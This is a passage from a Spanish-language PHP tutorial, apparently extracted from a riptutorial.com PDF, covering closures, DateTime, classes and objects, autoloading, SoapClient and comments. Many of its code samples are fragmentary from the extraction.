$myClosure = function() {
echo $this->property;
};
class MyClass
{
public $property;
Intente cambiar la visibilidad de la property a protected o private . Recibes un error fatal que indica
que no tienes acceso a esta propiedad. De hecho, incluso si el cierre se ha vinculado al objeto, el
alcance en el que se invoca el cierre no es el necesario para tener ese acceso. Para eso es el
segundo argumento de bindTo .
La única forma de acceder a una propiedad si es private es que se accede desde un ámbito que
lo permita, es decir. El alcance de la clase. En el ejemplo de código anterior, el alcance no se ha
especificado, lo que significa que el cierre se ha invocado en el mismo ámbito que el utilizado
donde se creó el cierre. Vamos a cambiar eso:
<?php
$myClosure = function() {
echo $this->property;
};
class MyClass
{
private $property; // $property is now private
https://riptutorial.com/es/home 70
public function __construct($propertyValue)
{
$this->property = $propertyValue;
}
}
Como acabo de decir, si este segundo parámetro no se utiliza, el cierre se invoca en el mismo
contexto que el utilizado donde se creó el cierre. Por ejemplo, un cierre creado dentro de una
clase de método que se invoca en un contexto de objeto tendrá el mismo alcance que el método:
<?php
class MyClass
{
private $property;
$displayer = $myInstance->getDisplayer();
$displayer(); // Shows "Hello world!"
Desde PHP7 , es posible vincular un cierre solo para una llamada, gracias al método de call . Por
ejemplo:
<?php
class MyClass
{
private $property;
$myClosure = function() {
https://riptutorial.com/es/home 71
echo $this->property;
};
A diferencia del método bindTo , no hay que preocuparse por el alcance. El alcance utilizado para
esta llamada es el mismo que el utilizado para acceder o invocar una propiedad de $myInstance .
En general, un observador es una clase con un método específico que se llama cuando ocurre
una acción en el objeto observado. En ciertas situaciones, los cierres pueden ser suficientes para
implementar el patrón de diseño del observador.
Aquí hay un ejemplo detallado de tal implementación. Primero declaremos una clase cuyo
propósito es notificar a los observadores cuando se cambia su propiedad.
<?php
https://riptutorial.com/es/home 72
Luego, declaremos la clase que representará a los diferentes observadores.
<?php
<?php
$o = new ObservedStuff;
$o->setProperty('Hello world!');
// Shows:
// Observer1 has been notified! New property value: Hello world!
// Observer2 has been notified! New property value: Hello world!
Tenga en cuenta que este ejemplo funciona porque los observadores comparten la misma
naturaleza (ambos son "observadores nombrados").
https://riptutorial.com/es/home 73
Capítulo 16: Clase de fecha y hora
Examples
getTimestamp
Esto pondrá una indicación de número entero en los segundos que han transcurrido desde las
00:00:00 UTC del jueves 1 de enero de 1970.
Establece la fecha
este ejemplo establece que la fecha será el veinticinco de julio de 2015 y producirá el siguiente
resultado:
2016-07-25 17:52:15.819442
Podemos usar la clase DateInterval para agregar o restar algún intervalo en un objeto DateTime.
Podemos usar el método sub de una manera similar para restar fechas
$now->sub($interval);
https://riptutorial.com/es/home 74
echo "Samara says: Seven Days. You were happy last on $formatedLastDay.";
PHP es capaz de analizar una serie de formatos de fecha . Si desea analizar un formato no
estándar, o si desea que su código DateTime::createFromFormat explícitamente el formato que se
utilizará, puede usar el método estático DateTime::createFromFormat :
$format = "Y,m,d";
$time = "2009,2,26";
$date = DateTime::createFromFormat($format, $time);
Estilo procesal
$format = "Y,m,d";
$time = "2009,2,26";
$date = date_create_from_format($format, $time);
Imprimir DateTimes
PHP 4+ proporciona un método, formato que convierte un objeto DateTime en una cadena con un
formato deseado. Según el manual de PHP, esta es la función orientada a objetos:
Formato
El formato es una cadena y utiliza caracteres únicos para definir el formato:
https://riptutorial.com/es/home 75
• s : segundo, con ceros iniciales (00 a 59)
• La lista completa se puede encontrar aquí.
Uso
Estos caracteres se pueden usar en varias combinaciones para mostrar los tiempos en
prácticamente cualquier formato. Aquí hay unos ejemplos:
$date->format("H:i");
/* Returns 13:30 */
$date->format("H i s");
/* Returns 13 30 20 */
$date->format("h:i:s A");
/* Returns 01:30:20 PM */
$date->format("j/m/Y");
/* Returns 26/05/2000 */
Procesal
El formato procesal es similar:
Orientado a objetos
$date->format($format)
Equivalente de procedimiento
date_format($date, $format)
Cree una versión inmutable de DateTime desde Mutable antes de PHP 5.6
\DateTimeImmutable::createFromMutable($concrete);
\DateTimeImmutable::createFromFormat(\DateTime::ISO8601, $mutable->format(\DateTime::ISO8601),
$mutable->getTimezone());
https://riptutorial.com/es/home 76
Lea Clase de fecha y hora en línea: https://riptutorial.com/es/php/topic/3684/clase-de-fecha-y-hora
https://riptutorial.com/es/home 77
Capítulo 17: Clases y objetos
Introducción
Las clases y los objetos se utilizan para hacer que su código sea más eficiente y menos repetitivo
al agrupar tareas similares.
Una clase se usa para definir las acciones y la estructura de datos utilizada para construir objetos.
Los objetos se construyen utilizando esta estructura predefinida.
Sintaxis
• class <ClassName> [ extends <ParentClassName> ] [ implements <Interface1> [, <Interface2>,
... ] { } // Declaración de clase
• interface <InterfaceName> [ extends <ParentInterface1> [, <ParentInterface2>, ...] ] { } //
Declaración de interfaz
• use <Trait1> [, <Trait2>, ...] ; // Usar rasgos
• [ public | protected | private ] [ static ] $<varName>; // Declaración de atributo
• const <CONST_NAME>; // Declaración constante
• [ public | protected | private ] [ static ] function <methodName>([args...]) { } //
Declaración de método
Observaciones
class Foo {
private $foo = 'foo'; // OK
private $baz = array(); // OK
private $bar = new Bar(); // Error!
}
Las interfaces no pueden tener propiedades, pero pueden tener constantes y métodos.
https://riptutorial.com/es/home 78
valor primitivo. Los valores constantes se fijan en el momento de la compilación y no pueden
asignarse en el tiempo de ejecución.
• Los métodos de interfaz no tienen cuerpo.
interface FooBar {
const FOO_VALUE = 'bla';
public function doAnything();
}
Examples
Interfaces
Introducción
Las interfaces son definiciones de las clases de API públicas que deben implementarse para
satisfacer la interfaz. Funcionan como "contratos", especificando lo que hace un conjunto de
subclases, pero no cómo lo hacen.
interface Foo {
Las interfaces pueden contener métodos y / o constantes, pero no atributos. Las constantes de
interfaz tienen las mismas restricciones que las constantes de clase. Los métodos de interfaz son
implícitamente abstractos:
interface Foo {
const BAR = 'BAR';
Nota: las interfaces no deben declarar constructores o destructores, ya que estos son detalles de
implementación en el nivel de clase.
Realización
Cualquier clase que necesite implementar una interfaz debe hacerlo usando la palabra clave
implements . Para hacerlo, la clase debe proporcionar una implementación para cada método
declarado en la interfaz, respetando la misma firma.
https://riptutorial.com/es/home 79
interface Foo {
public function doSomething($param1, $param2);
}
interface Bar {
public function doAnotherThing($param1);
}
Cuando las clases abstractas implementan interfaces, no necesitan implementar todos los
métodos. Cualquier método no implementado en la clase base debe ser implementado por la
clase concreta que lo extiende:
Observe que la realización de la interfaz es una característica heredada. Al extender una clase
que implementa una interfaz, no es necesario volver a declararla en la clase concreta, porque
está implícita.
Nota: Antes de PHP 5.3.9, una clase no podía implementar dos interfaces que
especificaban un método con el mismo nombre, ya que causaría ambigüedad. Las
versiones más recientes de PHP lo permiten siempre que los métodos duplicados
tengan la misma firma [1] .
Herencia
Al igual que las clases, es posible establecer una relación de herencia entre interfaces, utilizando
la misma palabra clave se extends . La principal diferencia es que se permite la herencia múltiple
para las interfaces:
interface Foo {
https://riptutorial.com/es/home 80
}
interface Bar {
Ejemplos
En el siguiente ejemplo tenemos una interfaz de ejemplo simple para un vehículo. Los vehículos
pueden ir hacia adelante y hacia atrás.
interface VehicleInterface {
public function forward();
...
}
...
}
https://riptutorial.com/es/home 81
$this->gear = $gear;
}
...
}
Luego creamos dos clases que implementan la interfaz: Bicicleta y Coche. Bicicletas y
automóviles internamente son muy diferentes, pero ambos son vehículos, y deben implementar
los mismos métodos públicos que proporciona VehicleInterface.
La tipografía permite que los métodos y funciones soliciten interfaces. Supongamos que tenemos
una clase de estacionamiento, que contiene vehículos de todo tipo.
class ParkingGarage {
protected $vehicles = [];
Debido a que addVehicle requiere un $vehicle del tipo VehicleInterface no una implementación
concreta, podemos ingresar Bicicletas y Autos, que el ParkingGarage puede manipular y usar.
Constantes de clase
Las constantes de clase proporcionan un mecanismo para mantener valores fijos en un programa.
Es decir, proporcionan una forma de asignar un nombre (y una comprobación de tiempo de
compilación asociada) a un valor como 3.14 o "Apple" . Las constantes de clase solo se pueden
definir con la palabra clave const : la función de definir no se puede usar en este contexto.
Como ejemplo, puede ser conveniente tener una representación abreviada del valor de π en todo
el programa. Una clase con valores const proporciona una forma sencilla de mantener dichos
valores.
class MathValues {
const PI = M_PI;
const PHI = 1.61803;
}
Se puede acceder a las constantes de clase utilizando el operador de dos puntos dobles
(denominado operador de resolución de alcance) en una clase, al igual que las variables
estáticas. Sin embargo, a diferencia de las variables estáticas, las constantes de clase tienen sus
valores fijos en el momento de la compilación y no se pueden reasignar a (por ejemplo,
MathValues::PI = 7 produciría un error fatal).
https://riptutorial.com/es/home 82
Las constantes de clase también son útiles para definir cosas internas de una clase que pueden
necesitar cambiar más adelante (pero no cambian con la frecuencia suficiente para justificar el
almacenamiento en, por ejemplo, una base de datos). Podemos hacer referencia a esto
internamente utilizando el resolutor de alcance self (que funciona tanto en implementaciones
estáticas como en instancias)
class Labor {
/** How long, in hours, does it take to build the item? */
const LABOR_UNITS = 0.26;
/** How much are we paying employees per hour? */
const LABOR_COST = 12.75;
Las constantes de clase solo pueden contener valores escalares en versiones <5.6
A partir de PHP 5.6 podemos usar expresiones con constantes, lo que significa que las
declaraciones matemáticas y las cadenas con concatenación son constantes aceptables
class Labor {
/** How much are we paying employees per hour? Hourly wages * hours taken to make */
const LABOR_COSTS = 12.75 * 0.26;
A partir de PHP 7.0, las constantes declaradas con define ahora pueden contener matrices.
define("BAZ", array('baz'));
Las constantes de clase son útiles para algo más que almacenar conceptos matemáticos. Por
ejemplo, si prepara una tarta, puede ser conveniente tener una clase de Pie capaz de tomar
diferentes tipos de fruta.
class Pie {
protected $fruit;
El problema que surge aquí es que, al crear una instancia de la clase Pie , no se proporciona una
https://riptutorial.com/es/home 83
guía sobre los valores aceptables. Por ejemplo, al hacer una tarta "boysenberry", podría escribirse
incorrectamente "boisenberry". Además, podríamos no apoyar una tarta de ciruela. En su lugar,
sería útil tener una lista de tipos de frutas aceptables ya definidas en algún lugar en el que tendría
sentido buscarlas. Di una clase llamada Fruit :
class Fruit {
const APPLE = "apple";
const STRAWBERRY = "strawberry";
const BOYSENBERRY = "boysenberry";
}
Enumerar los valores aceptables como constantes de clase proporciona una sugerencia valiosa
sobre los valores aceptables que acepta un método. También asegura que las faltas de ortografía
no puedan superar el compilador. Si bien la new Pie('aple') y la new Pie('apple') son aceptables
para el compilador, la new Pie(Fruit::APLE) producirá un error de compilación.
Finalmente, el uso de constantes de clase significa que el valor real de la constante puede
modificarse en un solo lugar, y cualquier código que use la constante tiene automáticamente los
efectos de la modificación.
Si bien el método más común para acceder a una constante de clase es MyClass::CONSTANT_NAME ,
también se puede acceder a él mediante:
echo MyClass::CONSTANT;
$classname = "MyClass";
echo $classname::CONSTANT; // As of PHP 5.3.0
A partir de PHP 7.1, las constantes de clase ahora se pueden definir con visibilidades diferentes
del alcance público predeterminado. Esto significa que tanto las constantes protegidas como las
privadas pueden definirse ahora para evitar que las constantes de clase se filtren
innecesariamente en el ámbito público (consulte Método y visibilidad de la propiedad ). Por
ejemplo:
class Something {
const PUBLIC_CONST_A = 1;
public const PUBLIC_CONST_B = 2;
protected const PROTECTED_CONST = 3;
private const PRIVATE_CONST = 4;
}
https://riptutorial.com/es/home 84
Aunque esta es una construcción válida:
define('BAR', bar());
class Foo {
const BAR = bar(); // Error: Constant expression contains invalid operations
}
define('BAR', bar());
class Foo {
const BAR = BAR; // OK
}
namespace foo;
use bar\Bar;
echo json_encode(Bar::class); // "bar\\Bar"
echo json_encode(Foo::class); // "foo\\Foo"
echo json_encode(\Foo::class); // "Foo"
Lo anterior funciona incluso si las clases ni siquiera están definidas (es decir, este fragmento de
código funciona solo).
Esta sintaxis es útil para funciones que requieren un nombre de clase. Por ejemplo, se puede
usar con class_exists para verificar que una clase existe. No se generarán errores,
independientemente del valor de retorno en este fragmento:
class_exists(ThisClass\Will\NeverBe\Loaded::class, false);
https://riptutorial.com/es/home 85
En PHP 5.3 y versiones posteriores, puede utilizar el enlace estático tardío para controlar desde
qué clase de clase de propiedad o método se llama. Se agregó para superar el problema
inherente con el resolutor self:: scope. Toma el siguiente código
class Horse {
public static function whatToSay() {
echo 'Neigh!';
}
Usted esperaría que la clase MrEd anule la función principal whatToSay() . Pero cuando corremos
esto obtenemos algo inesperado.
Horse::speak(); // Neigh!
MrEd::speak(); // Neigh!
El problema es que self::whatToSay(); solo puede referirse a la clase Horse , lo que significa que
no obedece a MrEd . Si cambiamos al resolutor static:: scope, no tenemos este problema. Este
nuevo método le dice a la clase que obedezca la instancia que lo llama. Así obtenemos la
herencia que estamos esperando.
class Horse {
public static function whatToSay() {
echo 'Neigh!';
}
Horse::speak(); // Neigh!
MrEd::speak(); // Hello Wilbur!
Clases abstractas
Una clase abstracta es una clase que no puede ser instanciada. Las clases abstractas pueden
definir métodos abstractos, que son métodos sin cuerpo, solo una definición:
https://riptutorial.com/es/home 86
Las clases abstractas deben extenderse por una clase secundaria que luego puede proporcionar
la implementación de estos métodos abstractos.
El propósito principal de una clase como esta es proporcionar un tipo de plantilla que permita a
las clases de niños heredar, "forzando" una estructura a adherirse. Vamos a elaborar sobre esto
con un ejemplo:
En este ejemplo estaremos implementando una interfaz Worker . Primero definimos la interfaz:
interface Worker {
public function run();
}
https://riptutorial.com/es/home 87
En segundo lugar, AbstractWorker llama a los prepareMain() y main() , después de registrar que se
han llamado.
Finalmente, todas estas llamadas de método se han agrupado en un bloque try - catch .
Entonces, si alguno de los métodos abstractos definidos por la clase secundaria produce una
excepción, capturaremos esa excepción, la registraremos y la volveremos a realizar. Esto evita
que todas las clases secundarias tengan que implementar esto ellos mismos.
Como puede ver, TransactionProcessorWorker fue bastante fácil de implementar, ya que solo
teníamos que especificar el límite de memoria y preocuparnos por las acciones reales que debía
realizar. No se necesita ningún manejo de errores en el TransactionProcessorWorker porque eso se
maneja en el AbsractWorker .
Nota IMPORTANTE
Cuando se hereda de una clase abstracta, todos los métodos marcados como
abstractos en la declaración de la clase del padre deben ser definidos por el hijo (o el
propio niño también debe estar marcado como abstracto); Además, estos métodos
deben definirse con la misma visibilidad (o una menos restringida). Por ejemplo, si el
método abstracto se define como protegido, la implementación de la función debe
definirse como protegida o pública, pero no privada.
Tomado de la documentación de PHP para la abstracción de clase .
https://riptutorial.com/es/home 88
Error grave: la Clase X contiene 1 método abstracto y, por lo tanto, debe declararse
abstracto o implementar los métodos restantes (X :: x) en
En general, la carga automática puede entenderse como el intento de cargar archivos PHP
(especialmente archivos de clase PHP, donde un archivo fuente PHP está dedicado para una
clase específica) desde rutas apropiadas de acuerdo con el nombre completo de la clase (FQN)
cuando se necesita una clase .
<?php
namespace application\controllers { class Base {...} }
<?php
namespace application\controllers { class Control {...} }
<?php
namespace application\models { class Page {...} }
Bajo la carpeta de origen, estas clases deben colocarse en las rutas como sus FQN
respectivamente:
• Carpeta de origen
○ applications
○ controllers
○ Base.php
○ Control.php
○ models
○ Page.php
Este enfoque hace posible resolver mediante programación la ruta del archivo de clase de
acuerdo con el FQN, utilizando esta función:
https://riptutorial.com/es/home 89
La función spl_autoload_register nos permite cargar una clase cuando sea necesario utilizando
una función definida por el usuario:
Esta función se puede ampliar aún más para utilizar métodos de carga alternativos:
Tenga en cuenta que PHP no intenta cargar las clases siempre que se carga un archivo que
utiliza esta clase. Puede cargarse en medio de un script, o incluso en funciones de apagado. Esta
es una de las razones por las que los desarrolladores, especialmente aquellos que usan la carga
automática, deben evitar reemplazar los archivos de origen en ejecución, especialmente en
archivos phar.
Vinculación dinámica
Esto es útil si una determinada condición dicta qué clase se utilizará para realizar una acción,
donde la acción se denomina igual en ambas clases.
interface Animal {
public function makeNoise();
}
https://riptutorial.com/es/home 90
class Cat implements Animal {
public function makeNoise
{
$this->meow();
}
...
}
class Person {
const CAT = 'cat';
const DOG = 'dog';
private $petPreference;
private $pet;
if($person->isCatLover()) {
$person->setPet(new Cat());
} else if($person->isDogLover()) {
$person->setPet(new Dog());
}
$person->getPet()->makeNoise();
En el ejemplo anterior, la clase Animal ( Dog|Cat ) que creará makeNoise se desconoce hasta el
tiempo de ejecución, según la propiedad dentro de la clase User .
Hay tres tipos de visibilidad que puede aplicar a los métodos ( funciones de clase / objeto ) y
propiedades ( variables de clase / objeto ) dentro de una clase, que proporcionan control de
acceso para el método o la propiedad a la que se aplican.
Puede leer extensamente sobre esto en la Documentación de PHP para Visibilidad OOP .
https://riptutorial.com/es/home 91
Público
La declaración de un método o una propiedad como public permite que se acceda al método o la
propiedad mediante:
class MyClass {
// Property
public $myProperty = 'test';
// Method
public function myMethod() {
return $this->myProperty;
}
}
echo $obj->myProperty;
// Out: test
Protegido
La declaración de un método o una propiedad como protected permite que se pueda acceder al
método o la propiedad mediante:
Esto no permite que los objetos, clases o códigos externos fuera de la jerarquía de clases
accedan a estos métodos o propiedades. Si algo que utiliza este método / propiedad no tiene
acceso a él, no estará disponible y se generará un error. Sólo las instancias del yo declarado (o
subclases del mismo) tienen acceso a él.
class MyClass {
protected $myProperty = 'test';
https://riptutorial.com/es/home 92
}
El ejemplo anterior señala que solo puede acceder a los elementos protected dentro de su propio ámbito.
Esencialmente: "Lo que hay en la casa solo se puede acceder desde dentro de la casa".
Privado
La declaración de un método o una propiedad como private permite que se acceda al método o la
propiedad mediante:
Un método o propiedad private solo es visible y accesible dentro de la clase que lo creó.
Tenga en cuenta que los objetos del mismo tipo tendrán acceso a los demás miembros privados y
protegidos, aunque no sean las mismas instancias.
class MyClass {
private $myProperty = 'test';
https://riptutorial.com/es/home 93
$obj = new MySubClass();
$newObj = new MySubClass();
$obj->modifyPrivatePropertyOf($newObj);
$newObj->run();
// Out: new value
Como se indicó, solo puede acceder al método / propiedad private desde su clase definida.
Un error común de las clases secundarias es que, si su padre y su hijo contienen un método
constructor ( __construct() ), solo se ejecutará el constructor de la clase secundaria . Puede
haber ocasiones en las que necesite ejecutar el __construct() padre __construct() desde su hijo.
Si necesita hacer eso, entonces deberá usar el resolutor parent:: scope:
parent::__construct();
Ahora aprovechar que en una situación del mundo real se vería algo así como:
class Foo {
function __construct($args) {
echo 'parent';
}
function __construct($args) {
parent::__construct($args);
}
}
Def: Final Keyword evita que las clases secundarias invaliden un método prefijando la definición
https://riptutorial.com/es/home 94
con final. Si la clase en sí se está definiendo como final, entonces no se puede extender
Método final
class BaseClass {
public function test() {
echo "BaseClass::test() called\n";
}
Clase final
Constantes finales: a diferencia de Java, la palabra clave final no se usa para las constantes de
clase en PHP. Utilice la palabra clave const lugar.
Cuándo evitar final : las clases finales solo funcionan de manera efectiva bajo los siguientes
supuestos:
https://riptutorial.com/es/home 95
1. Hay una abstracción (interfaz) que implementa la clase final
2. Toda la API pública de la clase final es parte de esa interfaz
Use $this para referirse al objeto actual. Use self para referirse a la clase actual. En
otras palabras, use $this->member para $this->member no estáticos, use self::$member
para miembros estáticos.
En el siguiente ejemplo, sayHello() y sayGoodbye() están usando self y $this diferencia se puede
observar aquí.
class Person {
private $name;
static refiere a cualquier clase en la jerarquía en la que llamaste al método. Permite una mejor
reutilización de las propiedades de clase estáticas cuando las clases se heredan.
https://riptutorial.com/es/home 96
class Car {
protected static $brand = 'unknown';
desconocido
desconocido
desconocido
Esto se debe a que self refiere a la clase Car cuando se llama a la brand() método brand() .
class Car {
protected static $brand = 'unknown';
desconocido
BMW
Mercedes
https://riptutorial.com/es/home 97
Véase también Enlace estático tardío
El singleton
Si tiene un objeto que es costoso crear o representa una conexión a algún recurso externo que
desea reutilizar, es decir, una conexión de base de datos donde no existe una agrupación de
conexiones o un socket para algún otro sistema, puede usar las palabras clave static y self en
un clase para hacer un singleton. Hay opiniones fuertes acerca de si el patrón de singleton debe o
no debe usarse, pero tiene sus usos.
class Singleton {
private static $instance = null;
return self::$instance;
}
Como puede ver en el código de ejemplo, estamos definiendo una $instance privada de propiedad
estática $instance para contener la referencia del objeto. Como esto es estático, esta referencia se
comparte entre TODOS los objetos de este tipo.
El método getInstance() utiliza un método conocido como creación de instancias perezosa para
retrasar la creación del objeto hasta el último momento posible, ya que no desea tener objetos no
utilizados en la memoria que nunca se pretendió usar. También ahorra tiempo y CPU en la carga
de la página, no tiene que cargar más objetos de los necesarios. El método comprueba si el
objeto está establecido, lo crea, si no, y lo devuelve. Esto asegura que solo un objeto de este tipo
sea creado.
También estamos configurando el constructor para que sea privado para garantizar que nadie lo
cree con la new palabra clave desde el exterior. Si necesita heredar de esta clase, simplemente
cambie las palabras clave private a protected .
$singleton = Singleton::getInstance();
Ahora le imploro que use la inyección de dependencia donde pueda y apunte a objetos acoplados
de forma flexible, pero a veces eso no es razonable y el patrón de singleton puede ser de utilidad.
Autocarga
https://riptutorial.com/es/home 98
Nadie quiere require o include cada vez que se usa una clase o herencia. Debido a que puede ser
doloroso y es fácil de olvidar, PHP está ofreciendo el llamado autoloading. Si ya está utilizando
Composer, lea acerca de la carga automática utilizando Composer .
El nombre básicamente lo dice todo. No tiene que obtener el archivo donde se almacena la clase
solicitada, pero PHP lo carga automáticamente .
Existe la función __autoload , pero se considera una mejor práctica usar spl_autoload_register .
PHP considerará estas funciones cada vez que no se defina una clase dentro del espacio dado.
Entonces, agregar la carga automática a un proyecto existente no es un problema, ya que las
clases definidas (a través de require ie) funcionarán como antes. En aras de la precisión, los
siguientes ejemplos usarán funciones anónimas, si usa PHP <5.3, puede definir la función y pasar
su nombre como argumento a spl_autoload_register .
Ejemplos
spl_autoload_register(function ($className) {
$path = sprintf('%s.php', $className);
if (file_exists($path)) {
include $path;
} else {
// file not found
}
});
El código anterior simplemente intenta incluir un nombre de archivo con el nombre de la clase y la
extensión anexada ".php" usando sprintf . Si FooBar necesita ser cargado, parece que FooBar.php
existe y si es así lo incluye.
Por supuesto, esto puede extenderse para adaptarse a las necesidades individuales del proyecto.
Si _ dentro de un nombre de clase se usa para agrupar, por ejemplo, User_Post y User_Image
refieren a User , ambas clases se pueden mantener en una carpeta llamada "User" como:
spl_autoload_register(function ($className) {
// replace _ by / or \ (depending on OS)
$path = sprintf('%s.php', str_replace('_', DIRECTORY_SEPARATOR, $className) );
if (file_exists($path)) {
include $path;
} else {
// file not found
}
});
spl_autoload_register puede adaptarse a diversas necesidades. Todos sus archivos con clases se
llaman "class.CLASSNAME.php"? No hay problema. Varios anidamientos ( User_Post_Content =>
"User / Post / Content.php")? No hay problema tampoco.
https://riptutorial.com/es/home 99
Si desea un mecanismo de carga automática más elaborado, y aún no desea incluir Composer,
puede trabajar sin agregar bibliotecas de terceros.
spl_autoload_register(function ($className) {
$path = sprintf('%1$s%2$s%3$s.php',
// %1$s: get absolute path
realpath(dirname(__FILE__)),
// %2$s: / or \ (depending on OS)
DIRECTORY_SEPARATOR,
// %3$s: don't wory about caps or not when creating the files
strtolower(
// replace _ by / or \ (depending on OS)
str_replace('_', DIRECTORY_SEPARATOR, $className)
)
);
if (file_exists($path)) {
include $path;
} else {
throw new Exception(
sprintf('Class with name %1$s not found. Looked in %2$s.',
$className,
$path
)
);
}
});
Usando autocargadores como este, felizmente puede escribir código como este:
Utilizando clases:
Clases anonimas
Se introdujeron clases anónimas en PHP 7 para permitir la creación fácil de objetos únicos y
rápidos. Pueden tomar argumentos de constructor, extender otras clases, implementar interfaces
y usar rasgos al igual que las clases normales.
https://riptutorial.com/es/home 100
}
}; // string(20) "constructor argument"
Anidar una clase anónima dentro de otra clase no le da acceso a métodos o propiedades privadas
o protegidas de esa clase externa. El acceso a los métodos protegidos y las propiedades de la
clase externa se puede obtener extendiendo la clase externa de la clase anónima. El acceso a las
propiedades privadas de la clase externa se puede obtener pasándolas al constructor de la clase
anónima.
Por ejemplo:
class Outer {
private $prop = 1;
protected $prop2 = 2;
Un objeto en PHP contiene variables y funciones. Los objetos normalmente pertenecen a una
clase, que define las variables y funciones que contendrán todos los objetos de esta clase.
class Shape {
public $sides = 0;
https://riptutorial.com/es/home 101
Una vez que se define una clase, puede crear una instancia usando:
Constructor
Las clases pueden definir un __construct() especial __construct() , que se ejecuta como parte de
la creación del objeto. Esto se usa a menudo para especificar los valores iniciales de un objeto:
class Shape {
public $sides = 0;
$this->sideLength = $sideLength;
}
https://riptutorial.com/es/home 102
public function area() {
return $this->sideLength * $this->sideLength;
}
}
La clase Square contiene variables y comportamiento tanto para la clase Shape como para la clase
Square :
print $mySquare->perimeter() // 40
https://riptutorial.com/es/home 103
Capítulo 18: Cliente de jabón
Sintaxis
• __getFunctions () // Devuelve la matriz de funciones para el servicio (solo en modo WSDL)
• __getTypes () // Devuelve una matriz de tipos para el servicio (solo en modo WSDL)
• __getLastRequest () // Devuelve XML de la última solicitud (requiere la opción de trace )
• __getLastRequestHeaders () // Devuelve los encabezados de la última solicitud (requiere la
opción de trace )
• __getLastResponse () // Devuelve XML de la última respuesta (requiere la opción de trace )
• __getLastResponseHeaders () // Devuelve los encabezados de la última respuesta (requiere
la opción de trace )
Parámetros
Parámetro Detalles
Observaciones
La clase SoapClient está equipada con un método __call . Esto no debe ser llamado directamente.
En su lugar, esto le permite hacer:
Opción Detalles
estilo Los valores posibles son SOAP_RPC o SOAP_DOCUMENT . Sólo válido en modo
https://riptutorial.com/es/home 104
Opción Detalles
no WSDL.
frase de
Frase de contraseña para el certificado de cliente HTTPS
contraseña
Mapear los tipos WSDL a las clases de PHP. El valor debe ser una
mapa de clase matriz con tipos WSDL como claves y nombres de clase de PHP como
valores.
el tiempo de
Tiempo de espera (en segundos) para la conexión al servicio SOAP.
conexión expiro
https://riptutorial.com/es/home 105
Opción Detalles
Cómo (si lo hace) el archivo WSDL debe ser almacenado en caché. Los
cache_wsdl valores posibles son WSDL_CACHE_NONE , WSDL_CACHE_DISK ,
WSDL_CACHE_MEMORY o WSDL_CACHE_BOTH .
Problema con PHP de 32 bits : en PHP de 32 bits, las cadenas numéricas mayores
de 32 bits que se convierten automáticamente en enteros por xs:long resultarán en
que alcance el límite de 32 bits, 2147483647 en 2147483647 . Para __soapCall() esto,
lance las cadenas para que floten antes de pasarlo a __soapCall() .
Examples
Modo WSDL
Primero, cree un nuevo objeto SoapClient , pasando la URL al archivo WSDL y, opcionalmente,
una variedad de opciones.
https://riptutorial.com/es/home 106
Luego usa el objeto $soap para llamar a tus métodos SOAP.
Modo no WSDL
Esto es similar al modo WSDL, excepto que pasamos NULL como el archivo WSDL y nos
aseguramos de establecer la location y las opciones de uri .
Mapas de clase
Al crear un cliente SOAP en PHP, también puede establecer una clave de classmap en la matriz de
configuración. Este classmap define qué tipos definidos en el WSDL deben asignarse a clases
reales, en lugar del StdClass predeterminado. La razón por la que querría hacer esto es porque
puede completar automáticamente los campos y las llamadas a métodos en estas clases, en
lugar de tener que adivinar qué campos se configuran en la StdClass regular.
class MyAddress {
public $country;
public $city;
public $full_name;
public $postal_code; // or zip_code
public $house_number;
}
class MyBook {
public $name;
public $author;
Después de configurar el mapa de clase, siempre que realice una determinada operación que
devuelva un tipo de Address o Book , SoapClient creará una instancia de esa clase, llenará los
campos con los datos y los devolverá desde la llamada de la operación.
https://riptutorial.com/es/home 107
// Lets assume 'getAddress(1234)' returns an Address by ID in the database
$address = $soap_client->getAddress(1234);
// Any type defined in the WSDL that is not defined in the classmap
// will become a regular StdClass object
$author = $soap_client->getAuthor(1234);
A veces queremos ver lo que se envía y recibe en la solicitud de SOAP. Los siguientes métodos
devolverán el XML en la solicitud y respuesta:
SoapClient::__getLastRequest()
SoapClient::__getLastRequestHeaders()
SoapClient::__getLastResponse()
SoapClient::__getLastResponseHeaders()
Por ejemplo, supongamos que tenemos una constante de ENVIRONMENT y cuando el valor de esta
constante se establece en DEVELOPMENT , queremos repetir toda la información cuando la llamada a
getAddress un error. Una solución podría ser:
try {
$address = $soap_client->getAddress(1234);
} catch (SoapFault $e) {
if (ENVIRONMENT === 'DEVELOPMENT') {
var_dump(
$soap_client->__getLastRequestHeaders()
$soap_client->__getLastRequest(),
$soap_client->__getLastResponseHeaders(),
$soap_client->__getLastResponse()
);
}
...
}
https://riptutorial.com/es/home 108
Capítulo 19: Comentarios
Observaciones
Tenga en cuenta los siguientes consejos cuando decida cómo comentar su código:
• Siempre debe escribir su código como si los comentarios no existieran, utilizando nombres
de funciones y variables bien elegidos.
• Los comentarios están destinados a comunicarse con otros seres humanos, no para repetir
lo que está escrito en el código.
• Existen varias guías de estilo de comentarios php (por ejemplo, pear , zend , etc). ¡Averigua
cuál usa tu compañía y úsala de manera consistente!
Examples
Comentarios de una sola línea
El comentario de una sola línea comienza con "//" o "#". Cuando se encuentre, todo el texto de la
derecha será ignorado por el intérprete de PHP.
// This is a comment
echo "Hello World!"; // This is also a comment, beginning where we see "//"
Comentarios multilínea
El comentario multilínea se puede usar para comentar grandes bloques de código. Comienza con
/* y termina con */ .
https://riptutorial.com/es/home 109
Capítulo 20: Cómo desglosar una URL
Introducción
A medida que codifiques PHP, lo más probable es que te pongas en una posición en la que
necesites dividir una URL en varias partes. Obviamente, hay más de una forma de hacerlo
dependiendo de sus necesidades. Este artículo explicará esas formas para que usted pueda
encontrar lo que funciona mejor para usted.
Examples
